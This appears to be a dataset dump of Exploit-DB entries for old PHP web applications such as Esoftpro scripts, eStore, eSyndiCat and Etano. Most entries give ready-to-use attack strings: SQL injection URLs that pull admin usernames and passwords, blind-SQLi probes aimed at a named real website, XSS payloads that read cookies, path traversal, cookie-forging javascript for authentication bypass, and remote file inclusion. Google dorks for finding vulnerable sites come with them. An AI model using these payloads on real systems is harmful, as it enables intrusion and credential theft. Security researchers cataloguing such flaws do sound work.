deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8475
Description: Esoftpro Online Guestbook Pro - 'display' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-04-17
Author: Hussin X

Exploit:
Online Guestbook Pro (display) Blind SQL Injection Vulnerability


{____________________________________}
 Author: Hussin X

 Home :  WwW.IQ-TY.CoM

 email:  darkangel_g85[at]Yahoo[DoT]com
{____________________________________}



script : http://www.esoftpro.com/web_scripts_online_guestbook_pro.php
 
DorK   : Powered by Online Guestbook Pro




Demo :

http://www.esoftpro.com/demo/OGP/ogp_show.php?display=10 and substring(@@version,1,1)=5

http://www.esoftpro.com/demo/OGP/ogp_show.php?display=10 and substring(@@version,1,1)=4

BuT Results = Forbidden :D


demo to any web

http://www.musicandfriends.ca/guestbook/ogp_show.php?display=10 and substring(@@version,1,1)=5

http://www.musicandfriends.ca/guestbook/ogp_show.php?display=10 and substring(@@version,1,1)=4





Greetz to :{ IQ-SecuritY members } { | FAHD | CraCkEr | jiko | str0ke | Cyber-Zone | kadmiwe | ahmed hassan | Sakab }

end.

# milw0rm.com [2009-04-17]
Exploit-DB #14204
Description: Esoftpro Online Guestbook Pro - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-04
Author: L0rd CrusAd3r

Exploit:
Exploit Title: Esoftpro Online Guestbook Pro Multiple Vulnerability
Vendor url:http://www.esoftpro.com/
Version:5.1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Published: 2010-07-4
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Online Guestbook Pro (formerly known as EGuest PRO) is an award-winning
comprehensive guestbook system based on the popular guestbook system EGuest.
New features including Image Verification Code, Admin Interfaces, Theme
Support, Advanced Search with Highlight, Auto Web/Email Links, IP/Word
Banning, Blank Line Protection, 250+ Smiley and much more. It excels any
other guestbook scripts, allowing you to have a truly professional guestbook
on your website.

With Online Guestbook Pro :-

   1. You will never need to worry about someone messes your website.
Comprehensive protections including: Image Verification Code, HTML Filter,
IP Ban, Bad Word Filter, Blank Line Protection, Valid Email Check, Long
String Conversion, Characters Limit, IP Log etc.
   2. You will be able to have full control over your guestbook. You can
Search, Sort, Reply, Modify and Remove any entry right in the main
interface.
   3. You will be able to custom Online Guestbook Pro easily by applying
different Themes, Language Packs, Header and Footer.
   4. You will be able to interact with and entertain your visitors. Online
Guestbook Pro supports 250+ Emoticons and Auto Hyperlinks.
   5. You will be notified right after a new entry is submitted.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/OGP/ogp_show.php?display=130&sort=&entry=10&search=[sqli]

*XSS Vulnerability

DEMO URL :

http://server/OGP/ogp_show.php?display=130&sort=&entry=10&search=&search_choice=[xss]

*HTML Injection

DEMO URL:

http://server/OGP/ogp_show.php?display=130&sort=&entry=10&search=&search_choice=[html]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #14205
Description: Esoftpro Online Photo Pro 2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-04
Author: L0rd CrusAd3r

Exploit:
Exploit Title: Esoftpro Online Photo Pro Multiple Vulnerability
Vendor url:http://www.esoftpro.com/
Version:2
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Published: 2010-07-4
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Online Photo Pro (formerly known as EPhoto PRO) is the state-of-the-art
online photo catalog that allows you to create a professional online catalog
in no time. It can be used as a Photo Gallery, Product Catalog, CD
Collection, Image Database or anything you can imagine. Online Photo Pro
features Auto Category & Photo Listing, Sorting, Independent Message Board
for each photo, Comprehensive Stats, Rating, Full Admin Interface and much
more.

With Online Photo Pro :-

    * No more manual file transfer
    * No more manual HTML code editing
    * No more complex files and directories
    * No more lack of interaction
    * No more boring static pages
    * ONE single script file handles UNLIMITED PHOTOS

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/OPP/index.php?section=[sqli]

*XSS Vulnerability

DEMO URL :

http://server/OPP/index.php?section=[xss]

*HTML Injection

DEMO URL:

http://server/OPP/index.php?section=[html]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #35138
Description: Esotalk CMS 1.0.0g4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-11-02
Author: evi1m0

Exploit:
/******************************************************
# Exploit Title: esotalk cms topics xss vulnerability 
# Google Dork: powered by esotalk
# Date: 2014-11-01
# Vul Author: Evi1m0#ff0000team
# Vul Advisory: http://www.hackersoul.com/post/ff0000-hsdb-0006.html
# Vendor Homepage: http://esotalk.org/
# Software Link: http://esotalk.org/download 
# Tested on: Linux / Windows 
******************************************************/
 
esotalk cms topics xss vulnerability. The worst is at the topic page, Submit Comment:
 
Payload:

[url=[img]onmouseover=alert(document.cookie);//://hackersoul.com/image.jpg#"aaaaaa[/img]]evi1m0#knownsec[/url]

 
You see an alert. 

Proof img url: http://www.hackersoul.com/img/media/37D2E7A3-8A88-4CE2-9E3E-E2.jpg
Exploit-DB #7819
Description: ESPG (Enhanced Simple PHP Gallery) 1.72 - File Disclosure
Type: webapps
Platform: php
Date: 2009-01-18
Author: bd0rk

Exploit:
                      .::ESPG 1.72 File Disclosure Vulnerability::.
 
 

 => Scriptname: ESPG (Enhanced Simple PHP Gallery) 1.72

 => Vendor: http://quirm.net
 
 => Download: http://quirm.net/download/21/

 => Bugfounder: bd0rk

 => Contact: bd0rk[at]hackermail.com

 => Greetings: str0ke, TheJT, Maria, Alucard, x0r_32

 => Vulnerable Code in comment.php line 3

            -------------------------

             $fileid = $_GET['file'];

            -------------------------



[+]Sploit: http://[t4rg3t]/gallery/comment.php?file=../../TARGETFILE.php


                  ###The 20 years old, german Hacker bd0rk###

    
                     => 'GAINST WAR IN ISRAEL AND GAZA!!! <=

# milw0rm.com [2009-01-18]
Exploit-DB #6583
Description: Esqlanelapse Software Project 2.6.2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-26
Author: ZoRLu

Exploit:
[~] Esqlanelapse Software Project
[~]
[~] version: 2.6.1  & 2.6.2
[~]
[~] Insecure Cookie Handling Vulnerability
[~]
[~] donwload: http://sourceforge.net/project/showfiles.php?group_id=118575&package_id=129141&release_id=519061
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 26.09.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] contact: zorlu@w.cn
[~] 
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

javascript:document.cookie = "enombre=nombre; path=/"; document.cookie = "euri=visitor_uri; path=/";

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs
[~]
[~] yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-09-26]
Exploit-DB #22925
Description: eStore 1.0.1/1.0.2 - 'Settings.inc.php' Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-07-17
Author: Bosen

Exploit:
source: https://www.securityfocus.com/bid/8220/info

eStore is prone to a path disclosure vulnerability.

It has been reported that a remote attacker may make a direct HTTP request for an eStore include script and in doing so trigger an error. The resulting error message will disclose potentially sensitive installation path information to the remote attacker.

http://www.example.com/admin/settings.inc.php
Exploit-DB #10784
Description: eStore 1.0.2 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-29
Author: R3VAN_BASTARD

Exploit:
=====================================================================================================
                                         .::Powered by eStore v1.0.2::.
=====================================================================================================
[x] Author     : R3VAN_BASTARD
[x] Web      : www.sux0r.net
[x] Download: http://brooky.com (RIP)
=====================================================================================================
Dork: intext:"Powered by eStore v1.0.2"

Exploite: /path/store.php?cat_id=00+AND+1=2+UNION+SELECT+[SQLi],2,3,4,5,6,7,8,9,10,11,12,13,14,15--

=====================================================================================================
Salam Hangat:
VALENCIA : S3TAN : YOGA0400 : VRS-HCK : JACK : MADONK : EMINEM : OON BOY : HANTU
YUDIS TIRA SUMANTRI : KECEMPLUNG-KALEN : DECLINED : JAROMIL ROJO :COZZY NET
JUPE NET : MAINHACK : SERVER IS DOWN
Exploit-DB #6187
Description: eStoreAff 0.1 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-01
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## eStoreAff V0.1 ( index.php menu )
##
## www.estoreaff.com
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
##  www.Target.com/index.php?menu=showcat&cid=-1+union+select+010,CONCAT_WS(0x3a,user,pass)MrSQL,010+from+admin--
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Milw0rM :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-08-01]
Exploit-DB #27972
Description: ESTsoft InternetDisk - Arbitrary File Upload / Script Execution
Type: webapps
Platform: php
Date: 2006-06-05
Author: Kil13r

Exploit:
source: https://www.securityfocus.com/bid/18279/info

ESTsoft InternetDisk is prone to an arbitrary file-upload and script-execution vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

This issue affects versions of InternetDisk downloaded prior to 19 April, 2006.

The following URI will demonstrate a filename that attackers may use to exploit this issue:
http://www.example.com/WebLink/yourid/somephpcode.php.kr
Exploit-DB #14817
Description: Esvon Classifieds 4.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-27
Author: Sn!pEr.S!Te

Exploit:
1 ########################################## 1
0 I'm Sn!pEr.S!Te Hacker member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

# ------------------------------------------------------------------------------
# Remote Command Execution Vulnerability and Remote File Inclusion Vulnerability 
# ------------------------------------------------------------------------------
# Esvon Classifieds ( pdo.inc.php ) (class.phpmailer.php )
--------------------------------------------------------------
# [+] Author : Sn!pEr.S!Te Hacker
# [+] Email : Sniper-site@HoTmaiL.Com
# [+] Inj3ct0r Team Hacker #
# [+] 27-8-2010
#  [+] Script : Programs » Esvon Classifieds#  
# [+]Version: [4.0] # 
# [+] Download:http://www.esvon.com/products/esvon_cl_3_0_demo.zip
 ---------------------------------------------------------------
-=[ exploit ]=-

command:

http://localhost/esvon_cl_3_0_demo/inc/pdo.inc.php?sql= [inj3ct0r command] 
  
http://127.0.0.1/esvon_cl_3_0_demo/inc/pdo.inc.php?sql= [inj3ct0r command]
----------------------------------------------------------------------

File inclusion :

http://localhost/esvon_cl_3_0_demo/inc/class.phpmailer.php?lang_path=[inj3ct0r RFI]
  
http://127.0.0.1/esvon_cl_3_0_demo/inc/class.phpmailer.php?lang_type=[inj3ct0r RFI]

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
================== Greetz ==================================================
SeeMe ; Inj3ctOr ; Sid3^effects ; L0rd CrusAd3r ;indoushka ; The_Exploited

===========================all my friend ===================================
* PrX Hacker * Hacker Boy * AbUbAdR * mAsH3L ALLiL * DMaR AL-TMiMi |
* Sm Hacker * Dj Hacker * KaSpEr NaJd * Viros RooT *HaNniBaL KsA   |
Exploit-DB #28604
Description: ESyndiCat 1.5 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-19
Author: meto5757

Exploit:
source: https://www.securityfocus.com/bid/20106/info

eSyndiCat is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.5 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/search.php?what=[xss]&search_top.x=0&search_top.y=0&search_top=GO
Exploit-DB #32101
Description: eSyndiCat 1.6 - 'admin_lng' Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2008-07-21
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/30332/info

eSyndiCat is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible.

eSyndiCat 1.6 is vulnerable; other versions may also be affected. 

javascript:document.cookie = "admin_lng=1; path=/";
Exploit-DB #32045
Description: eSyndiCat 2.2 - 'register.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-07-10
Author: Fugitif

Exploit:
source: https://www.securityfocus.com/bid/30178/info

eSyndiCat is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

eSyndiCat Pro 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/register.php where username="><script>alert(12157312.477)</script>&email="><script>alert(12157312.477)</script>&password="><script>alert(12157312.477)</script>&password2="><script>alert(12157312.477)</script>&security_code="><script>alert(12157312.477)</script>&register="><script>alert(12157312.477)</script>
Exploit-DB #4183
Description: eSyndiCat Directory Software - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-07-14
Author: d3v1l

Exploit:
[~] eSyndiCat: Multiple SQL Injection's
[~] 
[~] http://www.esyndicat.net/
[~] ----------------------------------------------------------
[~] Exploit coded and founded by d3v1l
[~] 
[~] Date: 14.07.2007
[~]
[~]
[~] stylers1@hotmail.it
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~]  
[~] Security-Shell Members ( http://forum.security-shell.com )
[~]  
[~] Pentest | Gibon | Nocta | dr4g0n | deadfuneral | and str0ke
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/news.php?id=-1%27%20union%20select%201,username,password,4,5%20from%20dir_admins/*
[~]    
[~] http://site.com/page.php?name=-1%27%20union%20select%200,0,0,0,0,0,0,0,0/* 
[~] 
[~]
[~]---------------------------------------------------------------------------------------------------------------
[~] Google Dork: Â© 2005-2006 Powered by eSyndiCat Directory Software   

# milw0rm.com [2007-07-14]
Exploit-DB #35296
Description: eSyndiCat Directory Software 2.2/2.3 - 'preview' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-30
Author: Avram Marius

Exploit:
source: https://www.securityfocus.com/bid/46082/info

eSyndiCat Directory Software is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

eSyndiCat Directory Software versions 2.2 and 2.3 are vulnerable; other versions may also be affected. 


http://www.example.com/?preview="><script>alert('XSS')</script>
http://www.example.com/?preview="><meta http-equiv="Refresh" content="0;url=http://www.example2.com/"> ""
Exploit-DB #4791
Description: eSyndiCat Link Exchange Script 2005-2006 - SQL Injection
Type: webapps
Platform: php
Date: 2007-12-25
Author: EgiX

Exploit:
--------------------------------------------------------------
eSyndiCat Link Exchange Script - Remote SQL Injection Advisory
--------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.esyndicat.com/
dork.....: "Â© 2005-2006 Powered by eSyndiCat Link Exchange Script"
details..: works with magic_quotes_gpc = off

[-] Vulnerable code in /suggest-link.php :

	30.	/** gets information about current category **/
	31.	$category =& $gDirDb->getCategoryById($_GET['id']);
	32.	$gDirSmarty->assign_by_ref('category', $category);

[-] getCategoryById function defined in /classes/Dir.php :

	323.	function getCategoryById($aCategory)
	325.	{
	326.		$sql = "SELECT * FROM `{$this->mPrefix}categories` ";
	327.		$sql .= "WHERE `id` = '{$aCategory}'";
	328.
	329.		return $this->mDb->getRow($sql);
	330.	}


[*] An attacker can break database through browser! P.o.C. :

http://[host]/[path]/suggest-link.php?id=-1'/**/UNION/**/SELECT/**/1,1,1,password,1,1,1,1,username,1,1/**/FROM/**/dir_admins/*

# milw0rm.com [2007-12-25]
Exploit-DB #36362
Description: eSyndiCat Pro 2.3.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-26
Author: d3v1l

Exploit:
source: https://www.securityfocus.com/bid/50822/info

eSyndiCat Pro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

eSyndiCat Pro 2.3.05 is vulnerable; other versions may also be affected. 

http://www.example.com/demo/admin/controller.php?file=admins&do=edit&id=XSS
http://www.example.com/demo/admin/controller.php?file=blocks&do=edit&id=XSS
http://www.example.com/demo/admin/controller.php?plugin=articles&do=edit&id=XSS
http://www.example.com/demo/admin/controller.php?file=suggest-category&id=XSS
http://www.example.com/demo/admin/controller.php?file=search&_dc=[PII_REDACTED]55&action=get&start=0&limit=10&sort=XSS
Exploit-DB #38590
Description: et-chat - Privilege Escalation / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-06-18
Author: MR.XpR

Exploit:
source: https://www.securityfocus.com/bid/60660/info

et-chat is prone to a privilege-escalation vulnerability and an arbitrary shell-upload vulnerability.

An attacker can exploit these issues to gain elevated privileges within the application and upload arbitrary shells; this can result in an arbitrary code execution within the context of the vulnerable application.

et-chat 3.07 is vulnerable; other versions may also be affected. 

http://www.example.com/chat/?AdminRegUserEdit&admin&id=4
Exploit-DB #36899
Description: Etano 1.20/1.22 - 'photo_search.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-05
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/52295/info
 
Etano is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Etano versions 1.20 to 1.22 are vulnerable; other versions may be affected. 

http://www.example.com/etano/photo_search.php?&#039;";><script>alert(/XSS/)</script>

http://www.example.com/etano/photo_search.php?st=&#039;";><script>alert(/XSS/)</script>
Exploit-DB #36900
Description: Etano 1.20/1.22 - 'photo_view.php?return' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-05
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/52295/info
  
Etano is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
Etano versions 1.20 to 1.22 are vulnerable; other versions may be affected. 

http://www.example.com/etano/photo_view.php?photo_id=1&return=";><script>alert(/XSS/)</script>